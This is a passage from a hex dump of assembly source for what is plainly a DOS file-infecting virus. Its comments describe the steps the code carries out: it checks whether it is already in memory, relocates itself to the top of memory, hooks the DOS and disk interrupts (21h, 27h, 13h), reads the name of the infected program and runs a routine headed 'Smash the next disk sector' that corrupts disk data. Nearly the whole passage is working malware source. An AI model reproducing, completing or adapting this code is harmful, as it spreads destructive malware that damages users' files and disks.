|00001090| 20 64 65 63 20 20 20 20 | 20 73 69 0a 6e 78 74 3a | dec | si.nxt:|
|000010a0| 0a 20 20 20 20 20 20 20 | 20 64 65 63 20 20 20 20 |. | dec |
|000010b0| 20 73 69 0a 20 20 20 20 | 20 20 20 20 6c 6f 6f 70 | si. | loop|
|000010c0| 20 20 20 20 66 69 6e 64 | 76 65 63 74 0a 20 20 20 | find|vect. |
|000010d0| 20 20 20 20 20 6a 6d 70 | 20 20 20 20 20 73 68 6f | jmp| sho|
|000010e0| 72 74 20 6e 6f 66 64 69 | 73 6b 0a 66 6f 75 6e 64 |rt nofdi|sk.found|
|000010f0| 3a 0a 20 20 20 20 20 20 | 20 20 73 75 62 20 20 20 |:. | sub |
|00001100| 20 20 73 69 2c 37 0a 20 | 20 20 20 20 20 20 20 6d | si,7. | m|
|00001110| 6f 76 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |ov w|ord ptr |
|00001120| 63 73 3a 5b 64 69 2b 66 | 64 69 73 6b 5d 2c 73 69 |cs:[di+f|disk],si|
|00001130| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|00001140| 20 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 64 69 | word pt|r cs:[di|
|00001150| 2b 66 64 69 73 6b 2b 32 | 5d 2c 64 73 0a 6e 6f 66 |+fdisk+2|],ds.nof|
|00001160| 64 69 73 6b 3a 0a 20 20 | 20 20 20 20 20 20 6d 6f |disk:. | mo|
|00001170| 76 20 20 20 20 20 73 69 | 2c 64 69 0a 20 20 20 20 |v si|,di. |
|00001180| 20 20 20 20 70 6f 70 20 | 20 20 20 20 64 73 0a 20 | pop | ds. |
|00001190| 0a 3b 20 43 68 65 63 6b | 20 77 68 65 74 68 65 72 |.; Check| whether|
|000011a0| 20 74 68 65 20 70 72 6f | 67 72 61 6d 20 69 73 20 | the pro|gram is |
|000011b0| 70 72 65 73 65 6e 74 20 | 69 6e 20 6d 65 6d 6f 72 |present |in memor|
|000011c0| 79 3a 0a 20 0a 20 20 20 | 20 20 20 20 20 6c 65 73 |y:. . | les|
|000011d0| 20 20 20 20 20 61 78 2c | 64 73 3a 5b 32 31 68 2a | ax,|ds:[21h*|
|000011e0| 34 5d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |4]. | mov |
|000011f0| 20 20 20 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b | word |ptr cs:[|
|00001200| 73 69 2b 73 61 76 65 5f | 69 6e 74 5f 32 31 5d 2c |si+save_|int_21],|
|00001210| 61 78 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |ax. | mov |
|00001220| 20 20 20 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b | word |ptr cs:[|
|00001230| 73 69 2b 73 61 76 65 5f | 69 6e 74 5f 32 31 2b 32 |si+save_|int_21+2|
|00001240| 5d 2c 65 73 0a 20 20 20 | 20 20 20 20 20 70 75 73 |],es. | pus|
|00001250| 68 20 20 20 20 63 73 0a | 20 20 20 20 20 20 20 20 |h cs.| |
|00001260| 70 6f 70 20 20 20 20 20 | 64 73 0a 20 20 20 20 20 |pop |ds. |
|00001270| 20 20 20 63 6d 70 20 20 | 20 20 20 61 78 2c 6f 66 | cmp | ax,of|
|00001280| 66 73 65 74 20 69 6e 74 | 5f 32 31 0a 20 20 20 20 |fset int|_21. |
|00001290| 20 20 20 20 6a 6e 65 20 | 20 20 20 20 62 61 64 5f | jne | bad_|
|000012a0| 66 75 6e 63 0a 20 20 20 | 20 20 20 20 20 78 6f 72 |func. | xor|
|000012b0| 20 20 20 20 20 64 69 2c | 64 69 0a 20 20 20 20 20 | di,|di. |
|000012c0| 20 20 20 6d 6f 76 20 20 | 20 20 20 63 78 2c 6f 66 | mov | cx,of|
|000012d0| 66 73 65 74 20 6d 79 5f | 73 69 7a 65 0a 73 63 61 |fset my_|size.sca|
|000012e0| 6e 5f 66 75 6e 63 3a 0a | 20 20 20 20 20 20 20 20 |n_func:.| |
|000012f0| 6c 6f 64 73 62 0a 20 20 | 20 20 20 20 20 20 73 63 |lodsb. | sc|
|00001300| 61 73 62 0a 20 20 20 20 | 20 20 20 20 6a 6e 65 20 |asb. | jne |
|00001310| 20 20 20 20 62 61 64 5f | 66 75 6e 63 0a 20 20 20 | bad_|func. |
|00001320| 20 20 20 20 20 6c 6f 6f | 70 20 20 20 20 73 63 61 | loo|p sca|
|00001330| 6e 5f 66 75 6e 63 0a 20 | 20 20 20 20 20 20 20 70 |n_func. | p|
|00001340| 6f 70 20 20 20 20 20 65 | 73 0a 20 20 20 20 20 20 |op e|s. |
|00001350| 20 20 6a 6d 70 20 20 20 | 20 20 67 6f 5f 70 72 6f | jmp | go_pro|
|00001360| 67 72 61 6d 0a 20 0a 3b | 20 4d 6f 76 65 20 74 68 |gram. .;| Move th|
|00001370| 65 20 70 72 6f 67 72 61 | 6d 20 74 6f 20 74 68 65 |e progra|m to the|
|00001380| 20 74 6f 70 20 6f 66 20 | 6d 65 6d 6f 72 79 3a 0a | top of |memory:.|
|00001390| 3b 20 28 69 74 27 73 20 | 66 75 6c 6c 20 6f 66 20 |; (it's |full of |
|000013a0| 72 75 62 62 69 73 68 20 | 61 6e 64 20 62 75 67 73 |rubbish |and bugs|
|000013b0| 20 68 65 72 65 29 0a 20 | 0a 62 61 64 5f 66 75 6e | here). |.bad_fun|
|000013c0| 63 3a 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |c:. | pop |
|000013d0| 20 20 20 65 73 0a 20 20 | 20 20 20 20 20 20 6d 6f | es. | mo|
|000013e0| 76 20 20 20 20 20 61 68 | 2c 34 39 68 0a 20 20 20 |v ah|,49h. |
|000013f0| 20 20 20 20 20 69 6e 74 | 20 20 20 20 20 32 31 68 | int| 21h|
|00001400| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|00001410| 20 62 78 2c 30 66 66 66 | 66 68 0a 20 20 20 20 20 | bx,0fff|fh. |
|00001420| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 68 2c 34 38 | mov | ah,48|
|00001430| 68 0a 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 |h. | int |
|00001440| 20 20 32 31 68 0a 20 20 | 20 20 20 20 20 20 73 75 | 21h. | su|
|00001450| 62 20 20 20 20 20 62 78 | 2c 28 74 6f 70 5f 62 7a |b bx|,(top_bz|
|00001460| 2b 6d 79 5f 62 7a 2b 31 | 63 68 2d 31 29 2f 31 36 |+my_bz+1|ch-1)/16|
|00001470| 2b 32 0a 20 20 20 20 20 | 20 20 20 6a 63 20 20 20 |+2. | jc |
|00001480| 20 20 20 67 6f 5f 70 72 | 6f 67 72 61 6d 0a 20 20 | go_pr|ogram. |
|00001490| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 63 78 | mo|v cx|
|000014a0| 2c 65 73 0a 20 20 20 20 | 20 20 20 20 73 74 63 0a |,es. | stc.|
|000014b0| 20 20 20 20 20 20 20 20 | 61 64 63 20 20 20 20 20 | |adc |
|000014c0| 63 78 2c 62 78 0a 20 20 | 20 20 20 20 20 20 6d 6f |cx,bx. | mo|
|000014d0| 76 20 20 20 20 20 61 68 | 2c 34 61 68 0a 20 20 20 |v ah|,4ah. |
|000014e0| 20 20 20 20 20 69 6e 74 | 20 20 20 20 20 32 31 68 | int| 21h|
|000014f0| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|00001500| 20 62 78 2c 28 6f 66 66 | 73 65 74 20 74 6f 70 5f | bx,(off|set top_|
|00001510| 62 7a 2b 6f 66 66 73 65 | 74 20 6d 79 5f 62 7a 2b |bz+offse|t my_bz+|
|00001520| 31 63 68 2d 31 29 2f 31 | 36 2b 31 0a 20 20 20 20 |1ch-1)/1|6+1. |
|00001530| 20 20 20 20 73 74 63 0a | 20 20 20 20 20 20 20 20 | stc.| |
|00001540| 73 62 62 20 20 20 20 20 | 65 73 3a 5b 32 5d 2c 62 |sbb |es:[2],b|
|00001550| 78 0a 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |x. | push |
|00001560| 20 20 65 73 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 | es. | mov|
|00001570| 20 20 20 20 20 65 73 2c | 63 78 0a 20 20 20 20 20 | es,|cx. |
|00001580| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 68 2c 34 61 | mov | ah,4a|
|00001590| 68 0a 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 |h. | int |
|000015a0| 20 20 32 31 68 0a 20 20 | 20 20 20 20 20 20 6d 6f | 21h. | mo|
|000015b0| 76 20 20 20 20 20 61 78 | 2c 65 73 0a 20 20 20 20 |v ax|,es. |
|000015c0| 20 20 20 20 64 65 63 20 | 20 20 20 20 61 78 0a 20 | dec | ax. |
|000015d0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 64 | m|ov d|
|000015e0| 73 2c 61 78 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |s,ax. | mov|
|000015f0| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 64 73 | wor|d ptr ds|
|00001600| 3a 5b 31 5d 2c 38 0a 20 | 20 20 20 20 20 20 20 63 |:[1],8. | c|
|00001610| 61 6c 6c 20 20 20 20 6d | 75 6c 5f 31 36 0a 20 20 |all m|ul_16. |
|00001620| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 62 78 | mo|v bx|
|00001630| 2c 61 78 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |,ax. | mov |
|00001640| 20 20 20 20 63 78 2c 64 | 78 0a 20 20 20 20 20 20 | cx,d|x. |
|00001650| 20 20 70 6f 70 20 20 20 | 20 20 64 73 0a 20 20 20 | pop | ds. |
|00001660| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c | mov| ax,|
|00001670| 64 73 0a 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 |ds. | call |
|00001680| 20 20 20 6d 75 6c 5f 31 | 36 0a 20 20 20 20 20 20 | mul_1|6. |
|00001690| 20 20 61 64 64 20 20 20 | 20 20 61 78 2c 64 73 3a | add | ax,ds:|
|000016a0| 5b 36 5d 0a 20 20 20 20 | 20 20 20 20 61 64 63 20 |[6]. | adc |
|000016b0| 20 20 20 20 64 78 2c 30 | 0a 20 20 20 20 20 20 20 | dx,0|. |
|000016c0| 20 73 75 62 20 20 20 20 | 20 61 78 2c 62 78 0a 20 | sub | ax,bx. |
|000016d0| 20 20 20 20 20 20 20 73 | 62 62 20 20 20 20 20 64 | s|bb d|
|000016e0| 78 2c 63 78 0a 20 20 20 | 20 20 20 20 20 6a 63 20 |x,cx. | jc |
|000016f0| 20 20 20 20 20 6d 65 6d | 5f 6f 6b 0a 20 20 20 20 | mem|_ok. |
|00001700| 20 20 20 20 73 75 62 20 | 20 20 20 20 64 73 3a 5b | sub | ds:[|
|00001710| 36 5d 2c 61 78 20 20 20 | 20 20 20 20 20 20 20 20 |6],ax | |
|00001720| 20 20 20 20 3b 52 65 64 | 75 63 74 69 6f 6e 20 6f | ;Red|uction o|
|00001730| 66 20 74 68 65 20 73 65 | 67 6d 65 6e 74 20 73 69 |f the se|gment si|
|00001740| 7a 65 0a 6d 65 6d 5f 6f | 6b 3a 0a 20 20 20 20 20 |ze.mem_o|k:. |
|00001750| 20 20 20 70 6f 70 20 20 | 20 20 20 73 69 0a 20 20 | pop | si. |
|00001760| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 73 69 | pu|sh si|
|00001770| 0a 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 |. | push |
|00001780| 20 64 73 0a 20 20 20 20 | 20 20 20 20 70 75 73 68 | ds. | push|
|00001790| 20 20 20 20 63 73 0a 20 | 20 20 20 20 20 20 20 78 | cs. | x|
|000017a0| 6f 72 20 20 20 20 20 64 | 69 2c 64 69 0a 20 20 20 |or d|i,di. |
|000017b0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 64 73 2c | mov| ds,|
|000017c0| 64 69 0a 20 20 20 20 20 | 20 20 20 6c 64 73 20 20 |di. | lds |
|000017d0| 20 20 20 61 78 2c 64 73 | 3a 5b 32 37 68 2a 34 5d | ax,ds|:[27h*4]|
|000017e0| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|000017f0| 20 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 73 69 | word pt|r cs:[si|
|00001800| 2b 73 61 76 65 5f 69 6e | 74 5f 32 37 5d 2c 61 78 |+save_in|t_27],ax|
|00001810| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|00001820| 20 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 73 69 | word pt|r cs:[si|
|00001830| 2b 73 61 76 65 5f 69 6e | 74 5f 32 37 2b 32 5d 2c |+save_in|t_27+2],|
|00001840| 64 73 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |ds. | pop |
|00001850| 20 20 20 64 73 0a 20 20 | 20 20 20 20 20 20 6d 6f | ds. | mo|
|00001860| 76 20 20 20 20 20 63 78 | 2c 6f 66 66 73 65 74 20 |v cx|,offset |
|00001870| 61 75 78 5f 73 69 7a 65 | 0a 20 20 20 20 20 20 20 |aux_size|. |
|00001880| 20 72 65 70 20 20 20 20 | 20 6d 6f 76 73 62 0a 20 | rep | movsb. |
|00001890| 20 20 20 20 20 20 20 78 | 6f 72 20 20 20 20 20 61 | x|or a|
|000018a0| 78 2c 61 78 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |x,ax. | mov|
|000018b0| 20 20 20 20 20 64 73 2c | 61 78 0a 20 20 20 20 20 | ds,|ax. |
|000018c0| 20 20 20 6d 6f 76 20 20 | 20 20 20 64 73 3a 5b 32 | mov | ds:[2|
|000018d0| 31 68 2a 34 5d 2c 6f 66 | 66 73 65 74 20 69 6e 74 |1h*4],of|fset int|
|000018e0| 5f 32 31 3b 49 6e 74 65 | 72 63 65 70 74 20 49 4e |_21;Inte|rcept IN|
|000018f0| 54 20 32 31 68 20 61 6e | 64 20 49 4e 54 20 32 37 |T 21h an|d INT 27|
|00001900| 68 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |h. | mov |
|00001910| 20 20 64 73 3a 5b 32 31 | 68 2a 34 2b 32 5d 2c 65 | ds:[21|h*4+2],e|
|00001920| 73 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |s. | mov |
|00001930| 20 20 64 73 3a 5b 32 37 | 68 2a 34 5d 2c 6f 66 66 | ds:[27|h*4],off|
|00001940| 73 65 74 20 69 6e 74 5f | 32 37 0a 20 20 20 20 20 |set int_|27. |
|00001950| 20 20 20 6d 6f 76 20 20 | 20 20 20 64 73 3a 5b 32 | mov | ds:[2|
|00001960| 37 68 2a 34 2b 32 5d 2c | 65 73 0a 20 20 20 20 20 |7h*4+2],|es. |
|00001970| 20 20 20 6d 6f 76 20 20 | 20 20 20 77 6f 72 64 20 | mov | word |
|00001980| 70 74 72 20 65 73 3a 5b | 66 69 6c 65 68 6e 64 6c |ptr es:[|filehndl|
|00001990| 5d 2c 61 78 0a 20 20 20 | 20 20 20 20 20 70 6f 70 |],ax. | pop|
|000019a0| 20 20 20 20 20 65 73 0a | 67 6f 5f 70 72 6f 67 72 | es.|go_progr|
|000019b0| 61 6d 3a 0a 20 20 20 20 | 20 20 20 20 70 6f 70 20 |am:. | pop |
|000019c0| 20 20 20 20 73 69 0a 20 | 0a 3b 20 53 6d 61 73 68 | si. |.; Smash|
|000019d0| 20 74 68 65 20 6e 65 78 | 74 20 64 69 73 6b 20 73 | the nex|t disk s|
|000019e0| 65 63 74 6f 72 3a 0a 20 | 0a 20 20 20 20 20 20 20 |ector:. |. |
|000019f0| 20 78 6f 72 20 20 20 20 | 20 61 78 2c 61 78 0a 20 | xor | ax,ax. |
|00001a00| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 64 | m|ov d|
|00001a10| 73 2c 61 78 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |s,ax. | mov|
|00001a20| 20 20 20 20 20 61 78 2c | 64 73 3a 5b 31 33 68 2a | ax,|ds:[13h*|
|00001a30| 34 5d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |4]. | mov |
|00001a40| 20 20 20 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b | word |ptr cs:[|
|00001a50| 73 69 2b 73 61 76 65 5f | 69 6e 74 5f 31 33 5d 2c |si+save_|int_13],|
|00001a60| 61 78 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |ax. | mov |
|00001a70| 20 20 20 61 78 2c 64 73 | 3a 5b 31 33 68 2a 34 2b | ax,ds|:[13h*4+|
|00001a80| 32 5d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |2]. | mov |
|00001a90| 20 20 20 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b | word |ptr cs:[|
|00001aa0| 73 69 2b 73 61 76 65 5f | 69 6e 74 5f 31 33 2b 32 |si+save_|int_13+2|
|00001ab0| 5d 2c 61 78 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |],ax. | mov|
|00001ac0| 20 20 20 20 20 64 73 3a | 5b 31 33 68 2a 34 5d 2c | ds:|[13h*4],|
|00001ad0| 6f 66 66 73 65 74 20 69 | 6e 74 5f 31 33 0a 20 20 |offset i|nt_13. |
|00001ae0| 20 20 20 20 20 20 61 64 | 64 20 20 20 20 20 64 73 | ad|d ds|
|00001af0| 3a 5b 31 33 68 2a 34 5d | 2c 73 69 0a 20 20 20 20 |:[13h*4]|,si. |
|00001b00| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 73 3a 5b | mov | ds:[|
|00001b10| 31 33 68 2a 34 2b 32 5d | 2c 63 73 0a 20 20 20 20 |13h*4+2]|,cs. |
|00001b20| 20 20 20 20 70 6f 70 20 | 20 20 20 20 64 73 0a 20 | pop | ds. |
|00001b30| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 64 | p|ush d|
|00001b40| 73 0a 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |s. | push |
|00001b50| 20 20 73 69 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 | si. | mov|
|00001b60| 20 20 20 20 20 62 78 2c | 73 69 0a 20 20 20 20 20 | bx,|si. |
|00001b70| 20 20 20 6c 64 73 20 20 | 20 20 20 61 78 2c 64 73 | lds | ax,ds|
|00001b80| 3a 5b 32 61 68 5d 0a 20 | 20 20 20 20 20 20 20 78 |:[2ah]. | x|
|00001b90| 6f 72 20 20 20 20 20 73 | 69 2c 73 69 0a 20 20 20 |or s|i,si. |
|00001ba0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 64 78 2c | mov| dx,|
|00001bb0| 73 69 0a 73 63 61 6e 5f | 65 6e 76 69 72 3a 20 20 |si.scan_|envir: |
|00001bc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001bd0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 46 65 74 63 | | ;Fetc|
|00001be0| 68 20 70 72 6f 67 72 61 | 6d 27 73 20 6e 61 6d 65 |h progra|m's name|
|00001bf0| 0a 20 20 20 20 20 20 20 | 20 6c 6f 64 73 77 20 20 |. | lodsw |
|00001c00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001c10| 20 20 20 20 20 20 20 20 | 20 3b 28 77 69 74 68 20 | | ;(with |
|00001c20| 44 4f 53 20 32 2e 78 20 | 69 74 20 64 6f 65 73 6e |DOS 2.x |it doesn|
|00001c30| 27 74 20 77 6f 72 6b 20 | 0a 61 6e 79 77 61 79 29 |'t work |.anyway)|
|00001c40| 0a 20 20 20 20 20 20 20 | 20 64 65 63 20 20 20 20 |. | dec |
|00001c50| 20 73 69 0a 20 20 20 20 | 20 20 20 20 74 65 73 74 | si. | test|
|00001c60| 20 20 20 20 61 78 2c 61 | 78 0a 20 20 20 20 20 20 | ax,a|x. |
|00001c70| 20 20 6a 6e 7a 20 20 20 | 20 20 73 63 61 6e 5f 65 | jnz | scan_e|
|00001c80| 6e 76 69 72 0a 20 20 20 | 20 20 20 20 20 61 64 64 |nvir. | add|
|00001c90| 20 20 20 20 20 73 69 2c | 33 0a 20 20 20 20 20 20 | si,|3. |
|00001ca0| 20 20 6c 6f 64 73 62 0a | 20 0a 3b 20 54 68 65 20 | lodsb.| .; The |
|00001cb0| 66 6f 6c 6c 6f 77 69 6e | 67 20 69 6e 73 74 72 75 |followin|g instru|
|00001cc0| 63 74 69 6f 6e 20 69 73 | 20 61 20 63 6f 6d 70 6c |ction is| a compl|
|00001cd0| 65 74 65 20 6e 6f 6e 73 | 65 6e 73 65 2e 20 20 54 |ete nons|ense. T|
|00001ce0| 72 79 20 74 6f 20 65 6e | 74 65 72 20 61 20 0a 64 |ry to en|ter a .d|
|00001cf0| 72 69 76 65 20 26 0a 3b | 20 64 69 72 65 63 74 6f |rive &.;| directo|
|00001d00| 72 79 20 70 61 74 68 20 | 69 6e 20 6c 6f 77 65 72 |ry path |in lower|
|00001d10| 63 61 73 65 2c 20 74 68 | 65 6e 20 72 75 6e 20 61 |case, th|en run a|
|00001d20| 6e 20 69 6e 66 65 63 74 | 65 64 20 70 72 6f 67 72 |n infect|ed progr|
|00001d30| 61 6d 20 66 72 6f 6d 20 | 74 68 65 72 65 2e 0a 3b |am from |there..;|
|00001d40| 20 41 73 20 61 20 72 65 | 73 75 6c 74 20 6f 66 20 | As a re|sult of |
|00001d50| 61 6e 20 65 72 72 6f 72 | 20 68 65 72 65 20 2b 20 |an error| here + |
|00001d60| 61 6e 20 65 72 72 6f 72 | 20 69 6e 20 44 4f 53 20 |an error| in DOS |
|00001d70| 74 68 65 20 6e 65 78 74 | 20 73 65 63 74 6f 72 20 |the next| sector |
|00001d80| 69 73 20 6e 6f 74 0a 3b | 20 73 6d 61 73 68 65 64 |is not.;| smashed|
|00001d90| 2e 20 54 77 6f 20 6d 65 | 6d 6f 72 79 20 62 79 74 |. Two me|mory byt|
|00001da0| 65 73 20 61 72 65 20 73 | 6d 61 73 68 65 64 20 69 |es are s|mashed i|
|00001db0| 6e 73 74 65 61 64 2c 20 | 6d 6f 73 74 20 70 72 6f |nstead, |most pro|
|00001dc0| 62 61 62 6c 79 20 6f 6e | 74 6f 20 74 68 65 0a 3b |bably on|to the.;|
|00001dd0| 20 69 6e 66 65 63 74 65 | 64 20 70 72 6f 67 72 61 | infecte|d progra|
|00001de0| 6d 2e 0a 20 0a 20 20 20 | 20 20 20 20 20 73 75 62 |m.. . | sub|
|00001df0| 20 20 20 20 20 61 6c 2c | 27 41 27 0a 20 20 20 20 | al,|'A'. |
|00001e00| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 63 78 2c 31 | mov | cx,1|
|00001e10| 0a 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 |. | push |
|00001e20| 20 63 73 0a 20 20 20 20 | 20 20 20 20 70 6f 70 20 | cs. | pop |
|00001e30| 20 20 20 20 64 73 0a 20 | 20 20 20 20 20 20 20 61 | ds. | a|
|00001e40| 64 64 20 20 20 20 20 62 | 78 2c 6f 66 66 73 65 74 |dd b|x,offset|
|00001e50| 20 69 6e 74 5f 32 37 0a | 20 20 20 20 20 20 20 20 | int_27.| |
|00001e60| 70 75 73 68 20 20 20 20 | 61 78 0a 20 20 20 20 20 |push |ax. |
|00001e70| 20 20 20 70 75 73 68 20 | 20 20 20 62 78 0a 20 20 | push | bx. |
|00001e80| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 63 78 | pu|sh cx|
|00001e90| 0a 20 20 20 20 20 20 20 | 20 69 6e 74 20 20 20 20 |. | int |
|00001ea0| 20 32 35 68 0a 20 20 20 | 20 20 20 20 20 70 6f 70 | 25h. | pop|
|00001eb0| 20 20 20 20 20 61 78 0a | 20 20 20 20 20 20 20 20 | ax.| |
|00001ec0| 70 6f 70 20 20 20 20 20 | 63 78 0a 20 20 20 20 20 |pop |cx. |
|00001ed0| 20 20 20 70 6f 70 20 20 | 20 20 20 62 78 0a 20 20 | pop | bx. |
|00001ee0| 20 20 20 20 20 20 69 6e | 63 20 20 20 20 20 62 79 | in|c by|
|00001ef0| 74 65 20 70 74 72 20 5b | 62 78 2b 30 61 68 5d 0a |te ptr [|bx+0ah].|
|00001f00| 20 20 20 20 20 20 20 20 | 61 6e 64 20 20 20 20 20 | |and |
|00001f10| 62 79 74 65 20 70 74 72 | 20 5b 62 78 2b 30 61 68 |byte ptr| [bx+0ah|
|00001f20| 5d 2c 30 66 68 20 20 20 | 3b 49 74 20 73 65 65 6d |],0fh |;It seem|
|00001f30| 73 20 74 68 61 74 20 31 | 35 20 74 69 6d 65 73 20 |s that 1|5 times |
|00001f40| 64 6f 69 6e 67 0a 20 20 | 20 20 20 20 20 20 6a 6e |doing. | jn|
|00001f50| 7a 20 20 20 20 20 73 74 | 6f 72 65 5f 73 65 63 20 |z st|ore_sec |
|00001f60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 6e | | ;n|
|00001f70| 6f 74 68 69 6e 67 20 69 | 73 20 6e 6f 74 20 65 6e |othing i|s not en|
|00001f80| 6f 75 67 68 20 66 6f 72 | 20 73 6f 6d 65 2e 0a 20 |ough for| some.. |
|00001f90| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 | m|ov a|
|00001fa0| 6c 2c 5b 62 78 2b 31 30 | 68 5d 0a 20 20 20 20 20 |l,[bx+10|h]. |
|00001fb0| 20 20 20 78 6f 72 20 20 | 20 20 20 61 68 2c 61 68 | xor | ah,ah|
|00001fc0| 0a 20 20 20 20 20 20 20 | 20 6d 75 6c 20 20 20 20 |. | mul |
|00001fd0| 20 77 6f 72 64 20 70 74 | 72 20 5b 62 78 2b 31 36 | word pt|r [bx+16|
|00001fe0| 68 5d 0a 20 20 20 20 20 | 20 20 20 61 64 64 20 20 |h]. | add |
|00001ff0| 20 20 20 61 78 2c 5b 62 | 78 2b 30 65 68 5d 0a 20 | ax,[b|x+0eh]. |
|00002000| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 61 | p|ush a|
|00002010| 78 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |x. | mov |
|00002020| 20 20 61 78 2c 5b 62 78 | 2b 31 31 68 5d 0a 20 20 | ax,[bx|+11h]. |
|00002030| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 78 | mo|v dx|
|00002040| 2c 33 32 0a 20 20 20 20 | 20 20 20 20 6d 75 6c 20 |,32. | mul |
|00002050| 20 20 20 20 64 78 0a 20 | 20 20 20 20 20 20 20 64 | dx. | d|
|00002060| 69 76 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |iv w|ord ptr |
|00002070| 5b 62 78 2b 30 62 68 5d | 0a 20 20 20 20 20 20 20 |[bx+0bh]|. |
|00002080| 20 70 6f 70 20 20 20 20 | 20 64 78 0a 20 20 20 20 | pop | dx. |
|00002090| 20 20 20 20 61 64 64 20 | 20 20 20 20 64 78 2c 61 | add | dx,a|
|000020a0| 78 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |x. | mov |
|000020b0| 20 20 61 78 2c 5b 62 78 | 2b 38 5d 0a 20 20 20 20 | ax,[bx|+8]. |
|000020c0| 20 20 20 20 61 64 64 20 | 20 20 20 20 61 78 2c 34 | add | ax,4|
|000020d0| 30 68 0a 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 |0h. | cmp |
|000020e0| 20 20 20 61 78 2c 5b 62 | 78 2b 31 33 68 5d 0a 20 | ax,[b|x+13h]. |
|000020f0| 20 20 20 20 20 20 20 6a | 63 20 20 20 20 20 20 73 | j|c s|
|00002100| 74 6f 72 65 5f 6e 65 77 | 0a 20 20 20 20 20 20 20 |tore_new|. |
|00002110| 20 69 6e 63 20 20 20 20 | 20 61 78 0a 20 20 20 20 | inc | ax. |
|00002120| 20 20 20 20 61 6e 64 20 | 20 20 20 20 61 78 2c 33 | and | ax,3|
|00002130| 66 68 0a 20 20 20 20 20 | 20 20 20 61 64 64 20 20 |fh. | add |
|00002140| 20 20 20 61 78 2c 64 78 | 0a 20 20 20 20 20 20 20 | ax,dx|. |
|00002150| 20 63 6d 70 20 20 20 20 | 20 61 78 2c 5b 62 78 2b | cmp | ax,[bx+|
|00002160| 31 33 68 5d 0a 20 20 20 | 20 20 20 20 20 6a 6e 63 |13h]. | jnc|
|00002170| 20 20 20 20 20 73 6d 61 | 6c 6c 5f 64 69 73 6b 0a | sma|ll_disk.|
|00002180| 73 74 6f 72 65 5f 6e 65 | 77 3a 0a 20 20 20 20 20 |store_ne|w:. |
|00002190| 20 20 20 6d 6f 76 20 20 | 20 20 20 5b 62 78 2b 38 | mov | [bx+8|
|000021a0| 5d 2c 61 78 0a 73 74 6f | 72 65 5f 73 65 63 3a 0a |],ax.sto|re_sec:.|
|000021b0| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|000021c0| 61 78 0a 20 20 20 20 20 | 20 20 20 78 6f 72 20 20 |ax. | xor |
|000021d0| 20 20 20 64 78 2c 64 78 | 0a 20 20 20 20 20 20 20 | dx,dx|. |
|000021e0| 20 70 75 73 68 20 20 20 | 20 61 78 0a 20 20 20 20 | push | ax. |
|000021f0| 20 20 20 20 70 75 73 68 | 20 20 20 20 62 78 0a 20 | push| bx. |
|00002200| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 63 | p|ush c|
